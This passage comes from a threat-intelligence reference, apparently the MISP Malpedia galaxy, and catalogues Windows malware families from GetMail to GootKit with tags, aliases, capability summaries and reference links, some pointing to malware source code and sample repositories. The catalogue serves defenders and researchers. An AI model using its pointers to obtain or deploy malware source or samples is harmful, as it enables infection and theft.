<td><a href="https://intel471.com/blog/ta505-get2-loader-malware-december-2020/">https://intel471.com/blog/ta505-get2-loader-malware-december-2020/</a></td>
</tr>
<tr>
<td><a href="https://www.goggleheadedhacker.com/blog/post/13">https://www.goggleheadedhacker.com/blog/post/13</a></td>
</tr>
<tr>
<td><a href="https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7">https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7</a></td>
</tr>
<tr>
<td><a href="https://github.com/Tera0017/TAFOF-Unpacker">https://github.com/Tera0017/TAFOF-Unpacker</a></td>
</tr>
</tbody>
</table>
**GetMail**

The tag is: *misp-galaxy:malpedia="GetMail"*

GetMail is also known as:

*Table 3110. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail">https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail</a></td>
</tr>
</tbody>
</table>

**GetMyPass**

The tag is: *misp-galaxy:malpedia="GetMyPass"*

GetMyPass is also known as:

- getm ypos

*Table 3111. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass">https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass</a></td>
</tr>
</tbody>
</table>
get_pwd

The tag is: misp-galaxy:malpedia="get_pwd"

get_pwd is also known as:

<table>
<thead>
<tr>
<th>Table 3112. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.get_pwd">https://malpedia.caad.fkie.fraunhofer.de/details/win.get_pwd</a></td>
</tr>
<tr>
<td><a href="https://ihonker.org/thread-1504-1-1.html">https://ihonker.org/thread-1504-1-1.html</a></td>
</tr>
</tbody>
</table>

Gh0stBins

The tag is: misp-galaxy:malpedia="Gh0stBins"

Gh0stBins is also known as:

- Gh0stBins RAT

<table>
<thead>
<tr>
<th>Table 3113. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0stbins">https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0stbins</a></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/gh0stbins-chinese-rat-malware-analysis/">https://any.run/cybersecurity-blog/gh0stbins-chinese-rat-malware-analysis/</a></td>
</tr>
</tbody>
</table>

Gh0stTimes

Custom RAT developed by the BlackTech actor, based on the Gh0st RAT.

The tag is: misp-galaxy:malpedia="Gh0stTimes"

Gh0stTimes is also known as:

<table>
<thead>
<tr>
<th>Table 3114. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes">https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uakw2HMGZ-I">https://www.youtube.com/watch?v=uakw2HMGZ-I</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html">https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html</a></td>
</tr>
</tbody>
</table>
GHAMBAR

According to Mandiant, GHAMBAR is a remote administration tool (RAT) that communicates with its C2 server using SOAP requests over HTTP. Its capabilities include filesystem manipulation, file upload and download, shell command execution, keylogging, screen capture, clipboard monitoring, and additional plugin execution.

The tag is: `misp-galaxy:malpedia="GHAMBAR"`

GHAMBAR is also known as:

Table 3115. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghambar">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghambar</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/media/17826">https://www.mandiant.com/media/17826</a></td>
</tr>
</tbody>
</table>

Ghole

The tag is: `misp-galaxy:malpedia="Ghole"`

Ghole is also known as:

- CoreImpact (Modified)
- Gholee

Table 3116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole</a></td>
</tr>
<tr>
<td><a href="https://www.clearkysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/">https://www.clearkysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/</a></td>
</tr>
</tbody>
</table>

GhostEmperor

The tag is: `misp-galaxy:malpedia="GhostEmperor"`

GhostEmperor is also known as:

Table 3117. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostemperor</a></td>
</tr>
</tbody>
</table>
Gh0stnet

The tag is: misp-galaxy:malpedia="Gh0stnet"

Gh0stnet is also known as:

• Remosh

<table>
<thead>
<tr>
<th>Table 3118. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet</a></td>
</tr>
<tr>
<td><a href="https://www.nartv.org/2019/03/28/10-years-since-ghostnet/">https://www.nartv.org/2019/03/28/10-years-since-ghostnet/</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/GhostNet">https://en.wikipedia.org/wiki/GhostNet</a></td>
</tr>
</tbody>
</table>

GhostAdmin

The tag is: misp-galaxy:malpedia="GhostAdmin"

GhostAdmin is also known as:

• Ghost iBot

<table>
<thead>
<tr>
<th>Table 3119. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin</a></td>
</tr>
</tbody>
</table>

Ghost RAT

According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.
Below is a list of Gh0st RAT capabilities. Take full control of the remote screen on the infected bot. Provide real time as well as offline keystroke logging. Provide live feed of webcam, microphone of infected host. Download remote binaries on the infected remote host. Take control of remote shutdown and reboot of host. Disable infected computer remote pointer and keyboard input. Enter into shell of remote infected host with full control. Provide a list of all the active processes. Clear all existing SSDT of all existing hooks.

The tag is: `misp-galaxy:malpedia="Ghost RAT"`

Ghost RAT is also known as:

- Farfli
- Gh0st RAT
- PCRat

Table 3120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits">https://www.fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=uakw2HMGZ-I">https://www.youtube.com/watch?v=uakw2HMGZ-I</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-chinaz-relationships/">https://www.intezer.com/blog-chinaz-relationships/</a></td>
</tr>
<tr>
<td><a href="https://blog.cylance.com/the-ghost-dragon">https://blog.cylance.com/the-ghost-dragon</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/iron-taurus/">https://unit42.paloaltonetworks.com/atoms/iron-taurus/</a></td>
</tr>
<tr>
<td><a href="https://www.prevailion.com/the-gh0st-remains-the-same-2/">https://www.prevailion.com/the-gh0st-remains-the-same-2/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html">https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html</a></td>
</tr>
<tr>
<td><a href="http://www.hexblog.com/?p=1248">http://www.hexblog.com/?p=1248</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="http://www.malware-traffic-analysis.net/2018/01/04/index.html">http://www.malware-traffic-analysis.net/2018/01/04/index.html</a></td>
</tr>
<tr>
<td><a href="https://risky.biz/whatiswinnti/">https://risky.biz/whatiswinnti/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0026">https://attack.mitre.org/groups/G0026</a></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCELL_TLP_WHITE.pdf">https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCELL_TLP_WHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-globe">https://www.secureworks.com/research/threat-profiles/bronze-globe</a></td>
</tr>
<tr>
<td><a href="http://www.nartv.org/mirror/ghostnet.pdf">http://www.nartv.org/mirror/ghostnet.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols">https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html">https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-345a">https://us-cert.cisa.gov/ncas/alerts/aa20-345a</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html">https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox">https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf">https://documents.trendmicro.com/assets/Appendix_Water-Pamola-Attacked-Online-Shops-Via-Malicious-Orders.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/">https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/</a></td>
</tr>
</tbody>
</table>
GhostSecret

The tag is: misp-galaxy:malpedia="GhostSecret"

GhostSecret is also known as:

Table 3121. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_secret
**Gibberish**

Ransomware.

The tag is: `misp-galaxy:malpedia="Gibberish"`

Gibberish is also known as:

*Table 3122. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/02/gibberish-ransomware.html">https://id-ransomware.blogspot.com/2020/02/gibberish-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Giffy**

The tag is: `misp-galaxy:malpedia="Giffy"`

Giffy is also known as:

*Table 3123. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.giffy">https://malpedia.caad.fkie.fraunhofer.de/details/win.giffy</a></td>
</tr>
<tr>
<td><a href="https://vx-underground.org/archive/APTs/2016/2016.09.06/Buckeye.pdf">https://vx-underground.org/archive/APTs/2016/2016.09.06/Buckeye.pdf</a></td>
</tr>
</tbody>
</table>

**GIMMICK (Windows)**

The tag is: `misp-galaxy:malpedia="GIMMICK (Windows)"

GIMMICK (Windows) is also known as:

*Table 3124. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf">http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/">https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/</a></td>
</tr>
</tbody>
</table>

**Ginwui**

The tag is: `misp-galaxy:malpedia="Ginwui"`
Ginwui is also known as:

Table 3125. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ginwui">https://malpedia.caad.fkie.fraunhofer.de/details/win.ginwui</a></td>
</tr>
</tbody>
</table>

**Ginzo Stealer**

An information stealer written in .NET.

The tag is: *misp-galaxy:malpedia=*Ginzo Stealer“

Ginzo Stealer is also known as:

Table 3126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo">https://malpedia.caad.fkie.fraunhofer.de/details/win.ginzo</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/information-stealers-a-new-landscape/">https://ke-la.com/information-stealers-a-new-landscape/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/haskers-gang-zingostealer/">https://blog.talosintelligence.com/haskers-gang-zingostealer/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/1506933328599044100">https://twitter.com/struppigel/status/1506933328599044100</a></td>
</tr>
</tbody>
</table>

**Glasses**

The tag is: *misp-galaxy:malpedia=*Glasses“

Glasses is also known as:

- Wordpress Bruteforcer

Table 3127. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses">https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses</a></td>
</tr>
</tbody>
</table>

**GlassRAT**

The tag is: *misp-galaxy:malpedia=*GlassRAT“

GlassRAT is also known as:

Table 3128. Table References
GlitchPOS

The tag is: misp-galaxy:malpedia="GlitchPOS"

GlitchPOS is also known as:

<table>
<thead>
<tr>
<th>Table 3129. Table References</th>
</tr>
</thead>
</table>

GlobeImposter

GlobeImposter is a ransomware application which is mainly distributed via "blank slate" spam (the spam has no message content and an attached ZIP file), exploits, malicious advertising, fake updates, and repacked installers. GlobeImposter mimics the Globe ransomware family. This malware may prevent execution of Anti-Virus solutions and other OS related security features and may prevent system restoration.

The tag is: misp-galaxy:malpedia="GlobeImposter"

GlobeImposter is also known as:

- Fake Globe

<table>
<thead>
<tr>
<th>Table 3130. Table References</th>
</tr>
</thead>
</table>
Globe

The tag is: misp-galaxy:malpedia="Globe"

Globe is also known as:

Table 3131. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom</a></td>
</tr>
</tbody>
</table>

GlooxMail

The tag is: misp-galaxy:malpedia="GlooxMail"

GlooxMail is also known as:

Table 3132. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail">https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail</a></td>
</tr>
</tbody>
</table>
Glupteba

Glupteba is a trojan horse malware that is one of the top ten malware variants of 2021. After infecting a system, the Glupteba malware can be used to deliver additional malware, steal user authentication information, and enroll the infected system in a cryptomining botnet.

The tag is: misp-galaxy:malpedia="Glupteba"

Glupteba is also known as:

Table 3133. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba">https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html">https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html</a></td>
</tr>
<tr>
<td><a href="https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign">https://www.domaintools.com/resources/blog/identifying-network-infrastructure-related-to-a-who-spoofing-campaign</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/">https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/</a></td>
</tr>
<tr>
<td><a href="https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html">https://cocomelonc.github.io/malware/2023/06/19/malware-av-evasion-17.html</a></td>
</tr>
<tr>
<td><a href="https://habr.com/ru/company/solarsecurity/blog/578900/">https://habr.com/ru/company/solarsecurity/blog/578900/</a></td>
</tr>
<tr>
<td><a href="https://labs.k7computing.com/?p=22319">https://labs.k7computing.com/?p=22319</a></td>
</tr>
<tr>
<td><a href="https://blog.google/threat-analysis-group/disrupting-glupteba-operation/">https://blog.google/threat-analysis-group/disrupting-glupteba-operation/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/2a36a7d2/description">https://community.riskiq.com/article/2a36a7d2/description</a></td>
</tr>
<tr>
<td><a href="http://resources.infosecinstitute.com/tdss4-part-1/">http://resources.infosecinstitute.com/tdss4-part-1/</a></td>
</tr>
<tr>
<td><a href="https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain/">https://www.nozominetworks.com/blog/tracking-malicious-glupteba-activity-through-the-blockchain/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&amp;utm_medium=twitter">https://krebsonsecurity.com/2022/06/the-link-between-awm-proxy-the-glupteba-botnet/?utm_source=dlvr.it&amp;utm_medium=twitter</a></td>
</tr>
</tbody>
</table>
GoBotKR

The tag is: misp-galaxy:malpedia="GoBotKR"

GoBotKR is also known as:

Table 3134. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gobotkr">https://malpedia.caad.fkie.fraunhofer.de/details/win.gobotkr</a></td>
</tr>
</tbody>
</table>

goCryptoLocker

The tag is: misp-galaxy:malpedia="goCryptoLocker"

goCryptoLocker is also known as:

Table 3135. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.gocryptolocker</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html">https://id-ransomware.blogspot.com/2020/04/gocryptolocker-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GrujaRS/status/1254657823478353920">https://twitter.com/GrujaRS/status/1254657823478353920</a></td>
</tr>
<tr>
<td><a href="https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go">https://github.com/LimerBoy/goCryptoLocker/blob/master/main.go</a></td>
</tr>
</tbody>
</table>

Godlike12

The tag is: misp-galaxy:malpedia="Godlike12"

Godlike12 is also known as:

- GOSLU
goDoH

Proof of concept for data exfiltration via DoH, written in Go.

The tag is: misp-galaxy:malpedia="goDoH"

goDoH is also known as:

Godzilla Loader

The tag is: misp-galaxy:malpedia="Godzilla Loader"

Godzilla Loader is also known as:

Gofing

A file infector written in Go, discovered by Karsten Hahn in February 2022. According to Karsten, despite its internal naming, it is not polymorphic and the virus body is not encrypted. Gofing uses the Coldfire Golang malware development library.

The tag is: misp-galaxy:malpedia="Gofing"

Gofing is also known as:
• Velocity Polymorphic Compression Malware

Table 3139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gofing">https://malpedia.caad.fkie.fraunhofer.de/details/win.gofing</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/1498229809675214849">https://twitter.com/struppigel/status/1498229809675214849</a></td>
</tr>
</tbody>
</table>

**Goggles**

The tag is: *misp-galaxy:malpedia*="Goggles"

Goggles is also known as:

Table 3140. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles">https://malpedia.caad.fkie.fraunhofer.de/details/win.goggles</a></td>
</tr>
</tbody>
</table>

**GoGoogle**

The tag is: *misp-galaxy:malpedia*="GoGoogle"

GoGoogle is also known as:

• BossiTossi

Table 3141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gogoogle">https://malpedia.caad.fkie.fraunhofer.de/details/win.gogoogle</a></td>
</tr>
<tr>
<td><a href="https://labs.bitdefender.com/2020/05/gogoogle-decryption-tool/">https://labs.bitdefender.com/2020/05/gogoogle-decryption-tool/</a></td>
</tr>
</tbody>
</table>

**GOLDBACKDOOR**

The tag is: *misp-galaxy:malpedia*="GOLDBACKDOOR"

GOLDBACKDOOR is also known as:

Table 3142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goldbackdoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.goldbackdoor</a></td>
</tr>
</tbody>
</table>
GoldenEye

The tag is: misp-galaxy:malpedia="GoldenEye"

GoldenEye is also known as:

- Petya/Mischa

Table 3143. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye">https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/">https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/</a></td>
</tr>
</tbody>
</table>

GoldenHelper

The tag is: misp-galaxy:malpedia="GoldenHelper"

GoldenHelper is also known as:

Table 3144. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper">https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenhelper</a></td>
</tr>
</tbody>
</table>

GoldenSpy

According securityweek, GoldenSpy, the malware was observed as part of a campaign that supposedly started in April 2020, but some of the identified samples suggest the threat has been around since at least December 2016.

One of the compromised organizations, a global technology vendor that conducts government business in the US, Australia and UK, and which recently opened offices in China, became infected after installing “Intelligent Tax,” a piece of software from the Golden Tax Department of Aisino Corporation, which a local bank required for paying local taxes.
Although it worked as advertised, the software was found to install a hidden backdoor to provide remote operators with the possibility to execute Windows commands or upload and run files.

The tag is: `misp-galaxy:malpedia="GoldenSpy"`

GoldenSpy is also known as:

**Table 3145. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.goldenspy</a></td>
<td></td>
</tr>
</tbody>
</table>

**GoldMax**

Gold Max is a Golang written command and control backdoor used by the NOBELIUM threat actor group. It uses several different techniques to obfuscate its actions and evade detection. The malware writes an encrypted configuration file to disk, where the file name and AES-256 cipher keys are unique per implant and based on environmental variables and information about the network where it is running.

The tag is: `misp-galaxy:malpedia="GoldMax"`

GoldMax is also known as:

- SUNSHUTTLE

**Table 3146. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax">https://malpedia.caad.fkie.fraunhofer.de/details/win.goldmax</a></td>
<td></td>
</tr>
</tbody>
</table>
GoldDragon

GoldDragon was a second-stage backdoor which established a permanent presence on the victim’s system once the first-stage, file-less, PowerShell-based attack leveraging steganography was executed. The initial attack was observed first in December 2017, when a Korean-language spear phishing campaign targeted organizations linked with Pyeongchang Winter Olympics 2018. GoldDragon was delivered once the attacker had gained an initial foothold in the targeted environment.

The malware was capable of a basic reconnaissance, data exfiltration and downloading of additional components from its C&C server.

The tag is: misp-galaxy:malpedia="GoldDragon"

GoldDragon is also known as:

- Lovexxx

Table 3147. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon">https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=rfzmHjZX70s">https://www.youtube.com/watch?v=rfzmHjZX70s</a></td>
</tr>
</tbody>
</table>
Golroted

The tag is: misp-galaxy:malpedia="Golroted"

Golroted is also known as:

Table 3148. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted">https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted</a></td>
</tr>
</tbody>
</table>

GoMet

The tag is: misp-galaxy:malpedia="GoMet"

GoMet is also known as:

Table 3149. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gomet">https://malpedia.caad.fkie.fraunhofer.de/details/win.gomet</a></td>
</tr>
</tbody>
</table>

Gomorrah stealer

Gomorrah is a stealer with no or little obfuscation that appeared around March 2020. It is sold for about 150$ lifetime for v4 (originally 400$ for v3) or 100$ per month by its developer called "th3darkly / lucifer" (which is also the developer of CosaNostra botnet). The malware's main functionalities are stealing (passwords, cryptocurrency wallets) and loading of tasks and other payloads.

The tag is: misp-galaxy:malpedia="Gomorrah stealer"

Gomorrah stealer is also known as:

Table 3150. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.gomorrah_stealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April">https://github.com/jstrosch/malware-samples/tree/master/binaries/gomorrah/2020/April</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/vxunderground/status/1469713783308357633">https://twitter.com/vxunderground/status/1469713783308357633</a></td>
</tr>
</tbody>
</table>
**Goodor**

The tag is: `misp-galaxy:malpedia=“Goodor”`

Goodor is also known as:

- Fuerboos

*Table 3151. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor">https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor</a></td>
</tr>
</tbody>
</table>

**GoogleDrive RAT**

The tag is: `misp-galaxy:malpedia=“GoogleDrive RAT”`

GoogleDrive RAT is also known as:

*Table 3152. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat</a></td>
</tr>
</tbody>
</table>

**GooPic Drooper**

The tag is: `misp-galaxy:malpedia=“GooPic Drooper”`

GooPic Drooper is also known as:

*Table 3153. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic">https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic</a></td>
</tr>
</tbody>
</table>

**GootKit**

Gootkit is a banking trojan consisting of an x86 loader and a payload embedding nodejs as well as a
set of js scripts. The loader downloads the payload, stores it in registry and injects it in a copy of the loader process. The loader also contains two encrypted DLLs intended to be injected into each browser process launched in order to place the payload in man in the browser and allow it to apply the webinjests received from the command and control server on HTTPx exchanges. This allows Gootkit to intercept HTTPx requests and responses, steal their content or modify it according to the webinjests.

The tag is: misp-galaxy:malpedia="GootKit"

GootKit is also known as:
- Waldek
- Xswkit
- talalpek

Table 3154. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit">https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=QgUlpEE4aw">https://www.youtube.com/watch?v=QgUlpEE4aw</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/">https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/</a></td>
</tr>
<tr>
